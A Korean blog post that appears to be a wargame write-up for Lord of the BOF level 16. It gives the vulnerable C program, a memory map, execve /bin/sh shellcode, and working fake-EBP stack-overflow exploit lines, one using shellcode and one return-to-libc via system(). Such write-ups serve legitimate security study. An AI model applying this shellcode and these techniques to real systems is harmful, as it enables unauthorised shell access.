eli_ez3r
eli_ez3r
eli_ez3r
전체 방문자
오늘
어제
  • 분류 전체보기 (202)
    • 0x01 끄적끄적 :) (57)
      • Network (5)
      • Security (14)
      • Reversing (2)
      • Forensic (5)
      • Operation System (10)
      • Development (10)
      • Solution (7)
      • 보안 상식 (3)
    • 0x02 Study :) (127)
      • Pwnable (59)
      • Webhacking (56)
      • Reversing (11)
      • Machine Learning (1)
    • 0x03 ETC :) (16)
      • IT Unpacking (5)
      • IT Information (1)
      • Enjoy (4)
      • Etc (6)
    • Admin :) (0)
      • 0x01 (0)

블로그 메뉴

  • 홈
  • 태그
  • 방명록

공지사항

  • github.io 블로그 개설

인기 글

태그

  • LOB
  • 오버플로우
  • 설명
  • 해커
  • hacker
  • hacking
  • hack
  • overflow
  • BOF
  • webhacking.kr
  • 패스워드
  • 문제
  • 공격
  • school
  • web
  • 과정
  • 암호
  • write
  • buffer
  • pwnable
  • Up
  • 해킹
  • LEVEL
  • 스쿨
  • hakcing
  • password
  • 메모리
  • attack
  • 문제풀이
  • 풀이

최근 댓글

최근 글

티스토리

hELLO · Designed By 정상우.
eli_ez3r

eli_ez3r

[LOB] Level16: assassin → zombie_assassin
0x02 Study :)/Pwnable

[LOB] Level16: assassin → zombie_assassin

2018. 8. 2. 16:11

zombie_assassin

Keyword : RTL

/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
	char buffer[40];

	if(argc < 2){
		printf("argv error\n");
		exit(0);
	}

	if(argv[1][47] == '\xbf')
	{
		printf("stack retbayed you!\n");
		exit(0);
	}

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

	// strncpy instead of strcpy!
	strncpy(buffer, argv[1], 48);
	printf("%s\n", buffer);
}


분기문을 통해서 '\xbf', '\x40' 으로 시작하는 주소들을 모두 필터링 된다.


[assassin@localhost assassin]$ cat /proc/751/maps
08048000-0817d000 r-xp 00000000 08:05 129443     /usr/bin/gdb
0817d000-08184000 rw-p 00134000 08:05 129443     /usr/bin/gdb
08184000-0850f000 rwxp 00000000 00:00 0
40000000-40013000 r-xp 00000000 08:08 34138      /lib/ld-2.1.3.so
40013000-40014000 rw-p 00012000 08:08 34138      /lib/ld-2.1.3.so
40014000-40018000 rw-p 00000000 00:00 0
40018000-4004d000 r-xp 00000000 08:05 96962      /usr/lib/libncurses.so.4.0
4004d000-40056000 rw-p 00034000 08:05 96962      /usr/lib/libncurses.so.4.0
40056000-4005a000 rw-p 00000000 00:00 0
4005a000-40076000 r-xp 00000000 08:08 34156      /lib/libm-2.1.3.so
40076000-40077000 rw-p 0001b000 08:08 34156      /lib/libm-2.1.3.so
40077000-40164000 r-xp 00000000 08:08 34145      /lib/libc-2.1.3.so
40164000-40168000 rw-p 000ec000 08:08 34145      /lib/libc-2.1.3.so
40168000-4016c000 rw-p 00000000 00:00 0
4016c000-40182000 r--p 00000000 08:05 32279      /usr/share/locale/en_US/LC_CTYPE
40182000-40290000 rw-p 00000000 00:00 0
bfffb000-c0000000 rwxp ffffc000 00:00 0


Shellcode를 이용한 공격

shellcode(24byte) :

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80

 

payload 시나리오 :
./zombie_assassin `python -c print "&[buf+4]"+"shellcode(24byte)"+"\x90"*12+"&[buf-4]"+"&leave-ret 가젯"

 

&[buf-4] : 0xbffffaac

&leave-ret : 0x08048311

&[buf+4] : 0xbffffab4

 


gdb 통해 얻은 buf의 주소와 실제 구동되는 buf의 주소가 0x10주소 만큼 차이가 나서 삽질을 많이 했다.

leave-ret 을 이용하여 fakeEBP기법을 사용하면 esp가 buf+4 로 이동하기 때문에 buf-4의 주소를 넣어주어야 실제 buf 주소가 실행된다.

eip에는 shellcode가 있는 시작 주소가 들어가야 하기 때문에, buf시작 부분에 shellcode의 시작 주소를 넣어주었다.

 

payload 실제코드 :
./zombie_assassin `python -c 'print "\xb4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"+"\x90"*12+"\xac\xfa\xff\xbf"+"\x11\x83\x04\x08"'`

 


 

RTL (Return to Library)를 이용한 공격

exploit 시나리오 :
./zombie_assassin `python -c print "&system()"+"\x90"4+"&["/bin/sh"]"+"\x90"38+"&[buf-4]"+"&leave-ret 가젯"

&[buf-4] : 0xbffffaac

&[buf+4] : 0xbffffab4

&leave-ret : 0x08048311

&system() : 0x40058ae0

&"/bin/sh" : 0x400fbff9

 

exploit 실제코드:
./zombie_assassin `python -c 'print "\xe0\x8a\x05\x40"+"\x90"*4+"\xf9\xbf\x0f\x40"+"\x90"*28+"\xac\xfa\xff\xbf"+"\x11\x83\x04\x08"'`

 

zombie_assassin / no place to hide



 


잘못 된 개념을 서술하였거나, 잘못 풀이된 내용이 있으면 댓글 달아주시면 감사합니다 :)

태클 댓글이나 메일(513.eunice@gmail.com) 환영입니다 !! 😊☺️👍 



저작자표시 비영리 변경금지 (새창열림)
    '0x02 Study :)/Pwnable' 카테고리의 다른 글
    • [LOB] Level18: succubus → nightmare
    • [LOB] Level17: zombie_assassin → succubus
    • [LOB] Level15: gaint → assassin
    • [LOB] Level14: bugbear → giant
    eli_ez3r
    eli_ez3r

    티스토리툴바